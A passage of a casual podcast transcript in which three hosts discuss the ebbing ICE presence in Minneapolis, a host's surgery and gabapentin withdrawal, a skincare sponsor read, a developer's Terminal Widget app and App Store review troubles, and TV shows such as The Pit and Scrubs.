they’ve removed way more than Brett: Hey, have they Jeff: oh, yeah. We’re down to, I haven’t, I don’t wanna say the numbers because I haven’t looked at them. We’re, we’re back down to like the high hundreds and we, our baseline is like 1 25. Brett: Okay. Jeff: Yeah. You can tell. Um, it’s, yeah, you can tell. And I, and I’ve been down to the WPO Federal building a a few times, um, which is where ICE was kind of headquartered and there’s just the level of activity there is very low. Um, they had some new vehicles come in at one point about a month ago, but mostly those are replacing rentals that they were using. So it wasn’t like people took it as kind of an indication that they were, you know, staffing up or suiting up again. But it was really just kind of replacing their, their really weird, like sort of duct tape together invasion. Um, it’s kinda like in Iraq when they decided they were gonna [00:16:00] actually armor the Humvees, it was kind of like a little bit of a switch of, of vehicles. Um. Yeah, it’s much different. And like, you know, all the people either in my life or in my community that were in hiding or not, I mean, for the most part, not in hiding anymore vulnerable folks and undocumented folks. And, um, so it’s like, it’s qualitatively and nervous, systemly different Brett: Yeah. Yeah. Jeff: for everybody and still sucks. And there’s still a risk and a threat and, and a horror. And a terror. Brett: Yeah, down here in southern Minnesota, I have not gotten a call to do a food delivery or a grocery delivery for, yeah, a couple months. Um, so yeah, I guess it really has calmed down across the state. Jeff: Yeah. Thank God. I mean, who knows what they’re up to that isn’t as visible, but thank God Brett: exactly. Jeff: over. So yeah, I, I mean it’s, and I actually just had my, my brother’s been in town and every time someone kind of comes to visit, they wanna like. You know, kind of hear or take in what the thing was and you start describing it again, and [00:17:00] now it just, I mean, it felt like a dream at the time. It just felt like, how could this be real? But you were just so in it, like every single person, like you said, Brett, like people were doing grocery deliveries or people were, you know, cooking food for the people that were kind of on the front lines, or you were following ice, or you were dispatching people to follow ice, whatever. It was like every. Single person I could think of as doing something. And uh, and, and so when you try to describe it now, when you look around, especially in my neighborhood where they were all over, um, it it, it seems like, was this, was this real, um, like, was it even real because like, I don’t know, like the end here. ’cause this could go on forever, but I don’t know if any of you saw the footage that went around of a high school called Roosevelt High School, where, uh, where Bovino showed up and there was all this crazy shit and the, the footage of this, um, went around the country and like it was, you know, reposted by freaking everybody that was my son’s school in my neighborhood. And, and so like, it was just this constant thing of like, bovino at my son’s school, binos at my gas station. Like, it was just [00:18:00] utterly insane. And now, and, and every street felt almost, you could feel ice on the streets. Like you would see ghost cars where they had taken people or whatever. You could like, feel ’em on the streets. And so you walk around, you walk around the same streets now, and it’s just birds and kids playing and you’re just like, did that, was that real? Brett: There, there was a tow truck driver that was interviewed who had taken it upon himself to tow those ghost cars for free back to their origin. Um, and just like leave them for people. Jeff: at least, or he would take them in and not charge if you came in for them. And it’s, and that’s just it. Everybody, everybody. It was incredible. It was incredible. Christina: It’s crazy. Jeff: Yeah. All Christina: I hope, I genuinely hope that they’ve lost interest and, and have moved on to other things. Brett: Like Seattle. Christina: yeah. Well, I mean, Seattle is obviously a very different situation and, and that had a, a longstanding, I think, impact. Um, and, and I, I, I. I’ve said this, I said this at the time, people who made that really bad were the [00:19:00] activists who came in outside the so-called activists and putting that in quotation marks who came in, who didn’t even live in the city and agitated things and made things way worse than, than they, than it should have been. Um, but yeah, but I hope that it’s like Seattle, that it just kind of falls like the, the government doesn’t come back and, and continue this, you know, reign of terror. Jeff: Yeah, yeah, yeah, for sure. Surgery And Withdrawal Christina: Um, well, I’ll, I’ll be quick. So I, I had surgery since I guess the last time I was on, Jeff: Sure did. Christina: that went well. Um, the surgery itself, I’m still in some pain, um, in my shoulder after the surgery, uh, which was not like you were fi fixing my cervical spine. But, um, they, uh, I guess however it worked, like I, I think as muscular, um, I, I’ve been going to to to PT for the last few weeks. Um, but I still having some, some shoulder pain. That’s, that’s getting better. Um, the hardest thing was actually some of the medication stuff. So [00:20:00] I, uh, gabapentin, um, I know it’s a lifesaver for a lot of people. I don’t have a good reaction to it. Like I’m one of those people. Like, it, it a, it makes me feel kind of loopy. I don’t like it. B it’s very difficult for me to sleep on it. Um, which, which is a problem and, you know, but, but the big thing is it just kind of makes me like, feel like I’m not kind of in my own head. Like I feel like, don’t know, like, um, altered on it. I, I would say. And so I went off they gabapentin and no one told me, and I am gonna put this as a PSA out there. ’cause I know a lot of people take it. Do not go off of that cold Turkey. Jeff: mm. Christina: They didn’t tell me that. Um, which someone should have, but no one told me that. And it can actually cause seizures if you do other things. But in my case, the real thing was that I had withdrawal. That was some of the worst withdrawal I’ve ever had. In my life ever. And, um, it like awful, like awful, awful, awful to the point that to go off the Gabapentin and they had me on like a, a decent dosage. It [00:21:00] took me a month because I had to keep going basically down like one pill like every week to step down. And, but I mean, I was getting, you know, like, like hot and cold sweats, you know, like feeling like my teeth were gnashing, you know, like nauseous, just like awful, awful stuff. So it took me, you know, a month to go off of that. I had to extend my medical leave in part because of the medication withdrawal stuff, because I was like, I can’t go back to work if I’m gonna be like, still dealing with, with medication bullshit. Um, so, um, that was actually, you know, in some ways like more, uh, of an issue than like recovering from the surgery itself, which was major. Like I, I tried to kind of downplay like what it was, but it was, it was major surgery and um. Um, I’m glad that it’s over. So, you know, onwards and upwards. I’m, I’ve been back at work for a couple weeks. Um, still kind of settling in on that, but, uh, but yeah. Brett: That [00:22:00] withdrawal sounds terrible. Usually you have to do opiates to get that kind of fun. Christina: Yeah, well that was the thing. I saw somebody on, I read it, which of course is anecdotal. I don’t usually look for this stuff, but sometimes you just wanna feel like, okay, is it, is it common for me to have this withdrawal or not? And somebody, and one of the subreddits was like, this was worse than coming off of heroin and I in a jail cell, and I should know because I’ve done that. And I was like, okay, I, I’m not going to equate it at that level, you know, for, for me. But it was definitely like that bad. It was, let me put it this way, it was bad enough that at first I thought. It was the opiate withdrawal because I, they gave me some, some oxy, um, um, contin. Um, and then the doctor was like, no, that’s not a high enough dosage. This is, you know, um, it, it, it probably was gabapentin and, and it, it. What pissed me off is that one of the physician’s assistants or whatever, when I’m telling like my doctor about this, I’m like, okay, if I need another nerve drug, then we need to find something [00:23:00] else. I can go on select so I can go on, you know, something else. But, but I, I clearly can’t stay on this. A, they kind of gaslit me because I’m a woman and obviously my pain and my symptoms can’t be real. So that’s like number one. And that’s just a fact. I don’t care if you’re a male or female doctor, they don’t take you seriously. I’ve complained about that before. Um, b like she had the nerves to say, she was like, well, you know, if the withdrawal is that bad, then why don’t you just stay on the medic medication? It’s not that it, it, it, it’s fine. I’m like, no, it’s not fine. It makes me feel altered. You’re telling me that it’s for nerve pain, that my nerve pain should be fixed if my nerve pain isn’t fixed and if I need something for nerve stuff, then that’s one thing and we could maybe look at an alternative, something that doesn’t make me feel loopy and lets me sleep. But if your suggestion is, oh, to avoid the bad withdrawal, just stay on the drug. I’m sorry, what the fuck are we doing? Um, and, and then the doctor’s like, well, you know, we get this all the time. We never see side effects. And then I looked it up, you know, in the actual drug literature and no, there are side effects exactly like the ones I experienced. So I was like, I recognize that. [00:24:00] I always am usually that like one percentile person who gets like the weird side effect. Like, that’s who I am. I get that. But Brett: crazy. I’ve, I’ve gone off of gabapentin. It sucks. I You’re not crazy at all. Christina: yeah. But, but it just, it just was frustrating to me that like the, the suggestions like, we’ll just stay on it. It’s like, no, like that’s, that’s, that’s not actually gonna be a thing anyway, but onward and upward. Jeff: Yeah. Wow. I’m glad you’re through that. Like Christina: Yeah, me too. Me too. Okay. Sponsor One Skin Christina: Well, I know we have some other topics we wanna get to, but before we do that, um, let’s take a moment to talk about our sponsor of today’s episode One Skin. So, um, you know, I, I’ve gone through a number of different things with my skincare routine over the years. Some have been more effective than other. Um, you know, um, my skin kind of goes back and forth between being too oily and too dry. I’m kind of in a dry [00:25:00] phase right now, and, um, there are tons of products out there that, that promise results. And then you, you get them in the, and they’re, they don’t necessarily work. So, uh, I wanna talk to you about One Skin, which was founded by scientists, and it’s dedicated to longevity. And, um, the, the brand is actually committed to being real science over marketing hype. And so, uh. What they wind up. Uh, what, how, how this works is that they use OSO uh, zero one, which is a proprietary peptide, which is designed to help deactivate the damaged cells that contribute to aging skin. And, um, I’ve been using one skin, um, for a little bit, and I, I’m, I’m liking it. I like how it makes my face feel. Um, I like, um, the fact that, uh, it’s. You know, what the peptides are supposed to do is help basically, uh, support collagen, uh, uh, of production and, and, and strengthening the skin barrier. Um, I’m not alone. There are over 10,005 star reviews and there’s validation from clinical studies and, and it’s making a name for itself in the skincare industry.[00:26:00] So if you are interested in trying one skin for yourself, you can get 15% off your order with the code Overtired at one skin.co/ Overtired. That’s 15% off at one skin. Do co slash Overtired and use that code Overtired. So thank you one skin for supporting our show and check them out. Brett: Awesome. Terminal Widget Reveal Brett: Do you guys, can I tell you about terminal widget? Jeff: Terminal widget. Yes. Set it up. Terminal widget. Brett Terpstra. What’s Brett: so I, I, I wanted, I had scripts running in the background and I wanted a quick way to check them and I thought it should be easy to put. Script output into a, like a widget on the desktop. And I could not find anything that actually worked. Like Shellfish has a widget, but it, it takes minutes to update and it’s flaky and, and the other apps out there [00:27:00] did not work for me. So I thought I would build my own. So I think I started it a month ago. Um, I built a, just something for, you can run a terminal command and update a progress bar or an image or, uh, like sparkline text or just straight up text output from your. Terminal, all kinds of charts and everything, and, and it updates instantly on your desktop, uh, with like a 0.5 to one second delay, uh, which I wasn’t able to find anywhere else. I had to like, use JSON payloads and like basically a cloud kit watcher, um, cloud kit because I did also port it to iOS. And, um, so I can run one command in my terminal or from a script in the background and have my iPhone and my desktop update with progress. Um, I am working [00:28:00] on a watch version of it that is not, I, I have it working in the app, but I wanna make it so it works as a complication. Um, that’s gonna take a little more doing, uh, but this morning and yesterday I spent working on. The Apple script and shortcuts interfaces for it. And I hate designing Apple Script dictionaries, uh, because there’s no, like, there’s no standard for like terminology and there’s no like golden way to do it. And I always end up messing it up even when I do have a plan. This time I think I actually succeeded in building out a dictionary that makes semantic sense and is somewhat. Predictable if you’ve ever written Apples script before, but I also added all of the widgets can be controlled from shortcuts. You just drag in like a chart widget into your shortcut and pass in like a value or like a, a chart of values. It can [00:29:00] do matrices and sign waves and, and line grass and bar charts, and it’s pretty nuts. You can check it out. It’s not available yet, but all of the documentation and all of the screenshots are at Terminal widget app. Um, and I am, I’m pretty impressed with myself and Christina: yeah. Brett: that’s what I’ve been working on while waiting for Mark III to make it through app store reviews so I can finally publish that. I, my latest rejection first, I got rejected, like a couple legitimate. Uh, concerns, but then I had a CLI that I wrote that was embedded in the app bundle and there was an option to create a sim link in your, in your terminal to use the CLI. And this was just a convenience method for like, you give it command line flags and it converts it into URL handlers and they rejected me for Christina: [00:30:00] I was gonna say, I was gonna say, they don’t let you do that. Like what I’ve seen with other apps do is usually there’s like a, um, in the app store is that usually you have to download a helper to install the CL. Brett: right. So what I did, uh, to get past the rejection was completely rip out the binary from the bundle. Uh, if you go to the install cli CLI tool menu item, it simply takes you to a webpage where there’s a, a notarized signed PKG file, or you can install from Homebrew, but it’s completely separate from the app store. And the last rejection said that I was requiring users to download an external app in order to use the app. Which is ridiculous on its face. Like it’s, it’s a convenience method. In no way do you need to download it. Um, there’s no requirement. In fact, it’s almost buried that you would even want it. Um, [00:31:00] and so I argued with the reviewer for a couple days ’cause they were replying like once a day. Um, and then they told me I had to go through a re uh, the appeal process. So I submitted an appeal at four 50 this morning. We’ll see how long that takes now. But in the meantime, terminal Widget is keeping me sane. I’m having a lot of fun with that. Widgets And Visualizations Jeff: I have some terminal widget questions. I’m looking at the site right now. Um, so talk to me about, um, talk to us about your, your initial use case, like was, which you’ve kind of described already, which is you just wanted to be able to check on these scripts Brett: Yeah. I just wanted a progress Jeff: But then Brett Terpstra kicks in ’cause like I just wanted a progress bar and now I’m looking at all the flags and everything else that you could have. You know, I’m curious like of all of the options that are in there, I want you to just share something that might not be intuitive or might not guess you can do. And then I’m curious of like if you have something you’re like, and what I [00:32:00] really want it to be able to do is. Brett: So you can pass it up to a hundred numbers, like a, a list of space or canvas, separated numbers that you can output from whatever script you’re developing. And you can have it, uh, output a sine wave or a um, uh, a waveform. I like the waveform visualization for it. And so you can get like pretty cool visualizations out of. Tabular data basically. And I also just added, um, tabular, like you can, you can give it a CSV file and it’ll generate a table for you. And it really only works well on like the large widget size. Um, but on both, on both iOS and Mac, uh, the tables look pretty good. Jeff: Nice. Christina: That’s awesome. I, I have a, I have a nerdy, uh, well, but less nerdy question. [00:33:00] Um, on the Terminal WIT app website, um, you have like a, a video of a, like, you know, showing off like, um, you know, your, your, your terminal app open and, um, the, the text being typed out. What did you use to create that? Did you use a remotion or did you use something else to generate that Brett: I scripted that, um, I, I wrote if there’s a helper Christina: charm or something? Brett: No, Christina: Okay. Brett: I, it’s a helper. It’s a helper script that it, it clears the screen and then it takes a table of commands and it types the command out with like a jitter delay. So it looks somewhat natural, like typing. And then it actually runs the command in the background. And then once the command’s finished, it clears the screen and does the same thing with the next one. Um, so I can just feed it like a, a, uh, a file with all the commands. I wanna run one per line. Um, and it just types them out and executes them. Jeff: That’s awesome. Christina: Cool. Brett: I know, [00:34:00] like I looked into like using like as, as as cinema. Um, and it just to get that kind of really. Smooth, rapid typing out of it, uh, without, you know, all the backspace and everything. I, it was, I found it difficult to program it to, to code it. And by the time I had it figured out, I figured I should just write my own script for it. Christina: Yeah. There’s, um, there, there’s a, a. Service called Remotion, which can do some of that sort of graphical work, which is what I thought you might’ve used at first. Um, charm has a thing called VHS, which is basically like a CLI home home recorder, which is pretty cool. Um, and I’ve used that before, but yeah, I was just kind of curious, um, what you did, but yeah, you just built your own. That’s awesome. Very cool. Release Plans And Review Christina: Um, now for your, your, when do you think like, because I, I noticed that you have like for for blog book and for terminal widget, you have like coming soon. Is that like, ’cause [00:35:00] you’re still kind of like working on stuff or, um, are you going through review hell with those as well? Brett: I haven’t even tried getting either of those reviewed. Um, blog book I is approved for test flight, um, and anyone who wants in on that can just contact me. It is getting the slowest development out of all my projects right now just because it is, it’s a more niche app that I don’t think is gonna make a ton of money. But, um, mark III is where most of my effort is going. Then I’m working on porting mark three’s, uh, store kit stuff into NV Ultra, and then I can focus on trying to usher terminal widget through app review. Um, I have a feeling that’s going to go very poorly and I may end up just releasing outside the app store, but because it has an iOS Christina: I was gonna say with the iOS component is the hard part. Brett: I kind of have to, so we’ll see what happens. Christina: Yeah. [00:36:00] ’cause I was gonna say, ’cause like, I mean I guess what you could do is if you did something for the iOS F would make it different though. Like if it’s just, ’cause I’m sure it has, it’s working out. It’s pretty much just remote instance that’s showing Brett: No, no, it’s got, it’s a, Christina: you, you built in your own terminal emulator into it. Brett: no, there’s no, no, no, no, no, no. There’s no terminal in this app at all. Like, you use it from whatever terminal or from shortcuts. Um, so it’s all native widgets on both. Christina: right. I was just saying in terms of the app store thing, like, I guess like if since there’s not a native terminal on, on iOS, it’s, I’m assuming that it’s, it’s a remote widget is what I was trying to get at. Brett: Essentially, yes. But if you write a shortcut on iOS that updates the widget, it updates both iOS and Mac os. So it is usable entirely. You could just buy it for iOS and, and it would be a functional app. Christina: okay. Okay. Universal Bundle Pricing Brett: But I do intend, I hope [00:37:00] to sell it as one universal bundle. So you pay like 9 99 and you get the iOS, the Mac, and the watch app without having to buy for every platform separately. Um, I just don’t see it being like such a valuable app that it’s worth making people go through that rigamarole. Christina: right. No, I was just trying to think. Brett: and everyone I’ve shown it to so far has been excited about it and the most common response I get is I will buy this as soon as I figure out what I would use it for. I’m like, yeah, okay. Jeff: Okay, fine. Awesome. AI Boosts Mark II Sales Jeff: And can you talk about how, because the whole world now works in markdown marked, has gotten a bump because I think that’s an amazing story. Brett: Well, yeah, it was. was a few months ago now, maybe six months. Um, my sales just started increasing and I was looking everywhere through all my traffic and all my logs [00:38:00] to figure out where this, where these people were coming from. Um, and it was eventually pointed out to me that if you ask any agent, any AI agent what you should use to view markdown, um, they would point you to Mark two. And it was now, for the last four months, five months, it’s been doing five times the sales year over year. What it was doing, Jeff: How close is it to the highest it ever was? Brett: um, the highest it ever was was actually when it was only 2 99. And Gruber wrote about it. Uh, back in this is like 2000. This was over a decade ago. And, um, back when, like one tweet from Gruber meant like success and that I made that year, I made almost a hundred thousand dollars on it.[00:39:00] Um, this is nowhere near that. This is doing like Jeff: But it’s a highly unexpected bump, right? Like in a delightful, delightful bump. Brett: yeah. It’s doing, it’s doing without even releasing Mark iii, I’m making about half of my former salary off of it. Jeff: Nice. I’m happy for you. Leaving Oracle Behind Brett: Also, uh, one year, um, in two days I’ll be one year out of Oracle and I quite happy about it. Jeff: that’s great. I was wondering about that, Brett: I don’t miss my corporate job. I miss, I miss some aspects, health insurance, paychecks, things like that. But Jeff: that aren’t at all about the content of the job, right? Brett: Well, like that stuff has never mattered all that much to me if I’m happy doing the work. And I really wasn’t happy doing the work. Christina: Well, that’s, that’s the thing. I’m glad that you’re, I’m glad things have been going well. I’m glad that, that the, the agents have, uh, been telling everybody about Mark two. Hopefully they will also tell them [00:40:00] about Mark three. Um. Ninety Hour Workweeks Brett: My, my dentist was doing was doing small talk with me, and he knows I’m a app developer and he asked me, so how many hours a week do you work? And I happen to know the answer because I had just read my timing app report for last week and I said, 90. And he said, oh wow. How much do you make? And he’s like, if you don’t mind me asking. So I told him and uh, it saying it out loud, it’s basically like 20 bucks an hour I get paid. And like, it’s not nothing, but once these apps are out and I can sit back and just make some passive income off of it, I will, I’ll be much Jeff: So it’s 90 because you’re, you’re developing multiple things right now and, and you love it. Brett: I’m pretty much, I’m pretty much on my machine all day except for like an hour for [00:41:00] like getting out, exercising, getting on my recumbent bicycle and an hour for eating. Um, Jeff: Is it time for you to get a trike? I’m serious. Brett: I don’t, I don’t know, I, I actually want to try just getting back on a regular bicycle. Jeff: Hmm. Brett: Um, but I, yeah, like a recumbent tricycle, that’d be pretty awesome. Jeff: dad uses him. He actually just converted one to an to an E-bike. Plus it’s hot now ’cause of DTF St. Louis. Christina: right. Jeff: Awesome. Uh, is that it for your app development because wow, that’s like, uh, quite a, quite a deal. You got anything else in the cooker? Brett: Well, like we talked about blog book. Right? Jeff: Yep. Brett: Okay. Yeah, that’s, that’s what I got. Jeff: Nice. Brett: that’s my big ones. NV Ultra Vaporware Woes Brett: NV Ultra is, um, literally only waiting on me to [00:42:00] get Mark three out and then NV Ultra will be out. And it is well passed a time when it would’ve been a smash hit. Um, when, when Nv, when NVL first started dying before, uh, before something like obsidian really Christina: I was gonna say, if sitting is unfortunately Brett: yeah, they obsidian and five or six other apps have really eaten up market share for, uh, NV Ultra. But it would be nice just to get it published. I have been talking about a replacement for NV for over a decade, and Jeff: Am I gonna get sued if I say this is not your fault. Brett: It’s, it’s not my fault, like none of them have been my fault. Like they’ve all fallen through on me. Um, but I think people don’t believe me anymore when I say it’s coming. In fact, it, in fact, if you ask an AI agent, they will tell you that MB Ultra is vaporware.[00:43:00] Christina: Well, Jeff: a lot ai. Christina: I mean, look at this point, even though yeah, it’s been in beta and you’ve had other things going on. I mean, like it, you know, again, it wasn’t your fault, but, but, but you know, we’ve all been in those situations where you’re like, it’s coming, it’s coming. Or this thing is like, at a certain point you’re like, okay. Like Brett: Yeah. Missing Collaborators Online Brett: Well that there was Bit Writer Christina: TechMate too. Brett: Bit Writer was one that preceded NV Ultra and I was working on that with David Halter, who was a co contributor on VT and. He disappeared. I don’t know if he died or what, but about years ago he just stopped replying to emails, disappeared off of Slack, disappeared from the internet. Just I, and I don’t ha I don’t know his next of kin. I don’t have anyone I can like ask, Hey, whatever happened to David. So if you’re out there, if you’re listening, I’d love to hear from you just to know you’re alive. Just to, just to [00:44:00] check in. Um, I’ve actually had a few people disappear over the last couple months that ha it’s been disconcert when, when you’re used to hearing from someone at least, you know, once a week even. But some of these people were like every day, um, I. Jeff: from them, meaning seeing them somewhere or corresponding or. Brett: Uh, online. These are, these are people I only know online. So like seeing them on Macedon or Facebook or getting emails or text messages from them. Um, a couple of them were in their eighties or nineties, and so it’s not, Jeff: That might be your problem. Brett: it, it’s not out of the realm of the possibility that they have passed on. Um, but some of them were younger than me and one of them has come back after two weeks of messaging, like every other day, like, Hey, are you okay? Haven’t heard from you. Um, finally they’re like, oh, yeah, I’m here. [00:45:00] And offered no explanation for where they’d been or why they went silent, but I didn’t pry either. So. Dan Peterson Secret App Jeff: What is your project with Dan Peterson? That’s on our, our list. Brett: I don’t know if I’m allowed to say a lot about it, but I’ve been working. Dan Peterson is one, the original designer of one password and worked with them for like 20 years before he struck out on his own. And we’ve teamed up, we’re working on a couple things, but one is a a, an IO iOS app that he has put in. I, I don’t even know how many hours into the design of it, like 3D modeling, spline rendering, and um, and then we ported it into an iOS interface. And it is gorgeous. It, it will it when, when it gets to market, which we’re hoping to have it in [00:46:00] testate in time for Max stock in July. Um, it’ll be the best looking app I’ve ever been a part of. It’s gonna be so cool. Jeff: Nice. Christina: That’s awesome. Jeff: Busy time. Brett: Yeah. Jeff: It’s Christina: That’s awesome. Jeff: What else do we got? I mean, Brett, you showed up with a big list. The Pit TV Complaints Christina: I was gonna, is anybody watching anything? Uh, good on TV or rewatching anything? Jeff: I have a serious complaint to put into the world, so I’ve avoided the pit for a long time. Uh, just ’cause I’m, I don’t, I’m not a huge like yeah, Brett: drama. Jeff: it is great. Except are there two separate writing teams for the stars and staff and the people that come in as patients? Because the writing for the people that come in patients is. Awful. They acting sometimes too. Sometimes there’s some people that sell it. I’m only through season one, uh, but I was like, I have been yelling at the tv, uh, about this [00:47:00] for some time. Um, besides also yelling at the TV for the point at which, um, our young friend with a w as a last name Whitaker, who, uh, gets blood all over his face and then they don’t actually immediately clean it up. Um, uh, so I yell at the screen and I like the show, but I yell. I haven’t had a TV show that I’m like, oh, for fuck’s sake now. I mean, I can handle that in The Walking Dead. I can handle that in that kind of movie. But in the ER thing I’m like, come on, you can’t get a writer to handle the patients. I don’t understand. You’ve got an incredible cast, like an incredible cast. Brett: It’s actually all ad-libbed. Jeff: all ad-libs, like the clown. There’s a clown, I won’t give it up, but there’s a, there’s a clown that has been through a mass event and he’s in the, uh, he’s in the ER with his clown makeup on still, and some blood going down his face and at some point he looks around and he goes, what a circus. I just think they, I think, I don’t understand. This confuses me very much [00:48:00] in TV shows when you’re like, okay, you’ve got a great writing team, but clearly you have a separate writing team that is doing just this little job that is actually quite important. So that’s my complaint about the pit. Otherwise, I like it quite a bit. I’m very excited to start season two, probably this weekend. Christina: it’s a good season. It’s a good season. So, yeah, ’cause, because, because I, I, I, um, it, it ended last week and I’m, I’m a big fan of the pit. I will say this, the pit fandom is insane and not in a good way. Like these are people who don’t understand how to watch television shows and don’t understand. Like how television shows work, and, and then also become very entitled about like, how, like their vision of the characters and things should be on a level. Like the last time I’ve seen it, it it’s the same, it’s similar with heated rivalry, but it’s somehow worse because this isn’t like a genre show like that. It’s like low quality for like, you know, middle aged like white women, um, in the suburbs. Um, who, who just like to see two, two hockey players. [00:49:00] You know? Fuck. Um, like, like the pit is actually like, I’m not gonna call it Prestige TV because it’s not er level, but it’s a very good show and it’s extremely well acted. And I think the writing, um, I, I think make a good point about the, uh, the patients not getting as good of storylines as the doctors. But, um, Jeff: no. I don’t need storylines. I Christina: no, I I mean the Jeff: words they Christina: Yeah. Yeah. No, that, that’s, that, that, that that’s what I mean, like, like that, that, that, that I, I, I hear, I hear your Jeff: Because where there’s a patient storyline, those are almost exclusively great. Christina: Yeah, it, so you’re more talking about like, like, like the kind of the background characters, like, kind of like the, the, the one-offs. Yeah, I think, I think that’s fair. Well, a lot of the writing staff and like executive producers are doctors or people who have like, you know, worked, um, extensively in healthcare. And so I, I, I wonder if like, that’s kind of part of it, um, where Brett: they’re really good at writing the doctor’s parts. They’re not so good at Jeff: so good. Oh my God, so Christina: so good at doing the doctor’s parts and, and the procedures. Like they wanna be medically [00:50:00] accurate and like they really, they really are committed to that. There are, um, there are a couple of, I’m trying to think, um, the, the Whitaker thing, I think that was just, I enjoyed that myself. Like the fact that he’s always getting blood Jeff: Oh, I loved the bit, I just couldn’t believe that. I couldn’t believe that through quite, you know, a couple of different bits after that. The blood’s still on his face. I’m like, there has to be a protocol to get blood off your face. Christina: No, there definitely has to be, but I mean, part also one of the running gags first season two. And, and sorry for spoilers, for anyone who hasn’t watched the pit Jeff: Wait, I’m gonna close my ears. Okay. Go ahead. Wave when you’re done. Christina: Rob Robbie can’t pee. And, uh, this wasn’t a real spoiler, but like, but one of the things is like, you know, Robbie’s never able to like, go to the bathroom. Like he can never find a way to pee. So Jeff: I’m back. Brett: you’re safe now. Jeff: I’m back. Christina: you, you’re safe. And I didn’t spoil anything. I was ER Nostalgia and Cast Jeff: The other thing I’ll say about the pit that surprised I did not watch ER and not ’cause out of bad attitude. Uh, it was just a point in my life when I wasn’t watching a lot of tv. Um, I also didn’t realize until I was [00:51:00] like five episodes in that Noah Wiley was a big character in er. I think that’s really cool. Um, Christina: Okay. Okay. I, I understand you weren’t watching TV then, but how did you not realize that Noah Wiley was Jeff: I didn’t know Noah Wiley’s name. Like I, this is just not, I don’t hold names of people. I, you know, I also, on the albums, I love that. I don’t remember song, I don’t know song titles half the time. Um, so I don’t mind You can, you can be very disappointed and express it. And I will accept it. I will receive it. Christina: No, I’m just shocked Jeff: to be better. Christina: because I, I mean, ’cause because I was like 10 years old when ER came out and like, I don’t know, like they were like, that was the number one show on television Jeff: Totally. And I mean, Clooney, come on. I know Clooney. Christina: course Clooney, but, but like, but it was Clooney. It was, but but like the, the, the, the, the original, it was Clooney, it was uh, uh, Sherry Stringfeld, it was um, um, uh, Eric Lesal. It was Juliana Margolis, it was Noah Wiley, and it was Anthony Edwards. So like, Jeff: Oh, my favorite Timber Christina: and I was gonna say ironically going into when er came out, like the, the name was Anthony [00:52:00] Edwards, like, he was like number one on the call sheet, right? Like Clooney I think was like four. Um, and, and then, and then Clooney because he’s a good guy, like blew the fuck up and then still did them a solid and did like a full freaking five years on that show, Jeff: Yeah, which is awesome. Christina: he did not, David, David Caruso, it like David Caruso, who famously like had one, you know, big season of NYPD Blue fucks off to go do a movie career. The movie career implodes, there’s a clause in his contract because A, b, C was so furious about how the way he quit NYPD Blue, that they were like, okay, well you can’t do any television for x number of years. And then his movie career dies and then he has to like come like hat in hand to like CSI Miami. Jeff: Yeah. Yeah. Well I love the pit and this thing that surprised me is the thing I always stayed away from is like I can handle gore in almost every context except real life. And so like I can do all the gore of the Walking Dead. I can do all the gore of Game of Thrones or something, but like, I was like, I don’t know if I want, [00:53:00] yeah. Gore. I love it. I mean, I love it. ’cause I’m fascinated. I’m just fascinated. I’m like, oh, that’s what it looks like when you do that. Like, right. Like you just snip the fingertip off. That’s what it looks like when you do that. Like, Christina: no, Jeff: the first Christina: they show some of the stuff, Jeff: yeah, the first half. I did this every time I covered my face whenever it was like that. And then all of a sudden I could handle it. And I was like, this is fascinating. This is totally Christina: What episode are you, are you up to? How many do you Jeff: I actually, I only have 15 left. I have the last episode left. Um, and unfortunately, like we’ve had, like my brother’s, not unfortunately, my brother’s been, we had stuff every night until late for like three or four days. And I’m so ready to watch that thing. And now, now my wife’s going outta town, so I’m not sure we’ll even see it for another week. It’s making me crazy. Brett: are you watching it together? And you have to wait for her. Jeff: Yeah. Well, and we, and, and sometimes it’s easy for us to find a show together and sometimes there’s just a long dry spell. And so it’s also just like nice. It’s just nice to have a show together always. Um, and so it’s the combination of like, that’s just nice to do and I’m right at the end and I’m just ready to Christina: And you just wanna do that together? [00:54:00] Yeah, no, it makes sense. Season Two and Other Shows Christina: Um, I, I’m, I’m curious to see what you’ll think of season two. Um, I, I, um, it’s, it’s different in some ways. It doesn’t have like the, the, I’m not spoiling anything, but like, it doesn’t have like a big like, catalyzing event, like, like season one does. Um, but I still think it’s, it’s really good TV and, uh, yeah, definitely one of my favorite shows, um, hacks is Back for its final season. That’s definitely one of my favorite Brett: That Jeff: I never Brett: good. I, I finished season one. Um, I think there’s three seasons or is there more? Christina: This, it is now in its fifth season. Yeah. Brett: Okay. Yeah. I, I finished season one and then kind of forgot about it, and then I just saw some trailers for the new season and thought, oh, I should get back into this. It looks, it looks like it, it, it looks like it did well, um, Christina: No, I mean, shrinking. Yeah. Brett: I was gonna say, the new season of shrinking is really good too. Christina: Yeah, it is. Yeah. Um, well, well, uh, bill Lawrence is, is, uh, who created that and he created Scrubs and Spin City and [00:55:00] some other things. Like he’s, he’s really, really, um, good. He also did Rooster, which is now on HBO Max. Um, but, oh, the Scrubs Revival. Speaking of, of new shows, I don’t know if it’s gonna get like renewed because it hasn’t been renewed yet. And so I’m a little bit concerned that it hasn’t been renewed yet, and I only did nine episodes for the first season. But the, the Scrubs reboot, revival, whatever you wanna call it, and I say this is somebody who was a huge scrub fan. I, I don’t consider the, the final season to be scrubs like that. It is not part of Canon to me. Like, I feel like that, that, that wasn’t it, but I thought they actually did an amazing job, um, with the, with the reboot. Like I actually. And, and it was hard for them too because John c McGinley is on Rooster and, um, uh, Judy Reyes is on, um, uh, high Potential. And, um, so, you know, the only like, you know, main characters from the original that they have back in every single episode [00:56:00] are, um, uh, Elliot, JD and Turk. Um, but, uh, and then, and then you see, you know, kind of like, like Carla just isn’t in the office sometimes, but she has some guest appearances. Um, but they actually managed to, to do this, they managed to do like a next generation type of story, but still focused on like the main characters you love, but still kind of bring in like new younger doctors in like a way that I’m genuinely really impressed with how they did it. And, and like it kept the heart and kind of the, the feel of the original, like I, it, it was, I was very, very impressed that they were able to recapture. What made that show so good, um, for, its, I guess they’re calling it its 10th season, but, um, I, I really hope that it comes back because that’s a really good show. Brett: Speaking of reboots, um, they’re rebooting, um, Malcolm in the middle, Jeff: I Christina: Yes, they did. [00:57:00] Yeah. They did a four episode thing. Brett: but what I saw an, I saw Hot ones versus with, um, uh, Frankie Muni and whatever. How Christina: Yeah. Brian Cranston. Who, Brian Cranston. Who, who was, who was the, the father of, of, of Mel King on the pit. Brett: Oh, there you go. Jeff: is so cool. I love her so much. Brett: but anyway, they’re talking about why Dewey wouldn’t come back and basically he was like, I haven’t acted since I was nine. He’s like, he is busy. He is got a life Christina: He’s in grad school, like he went to Harvard and stuff like, like, he’s like, 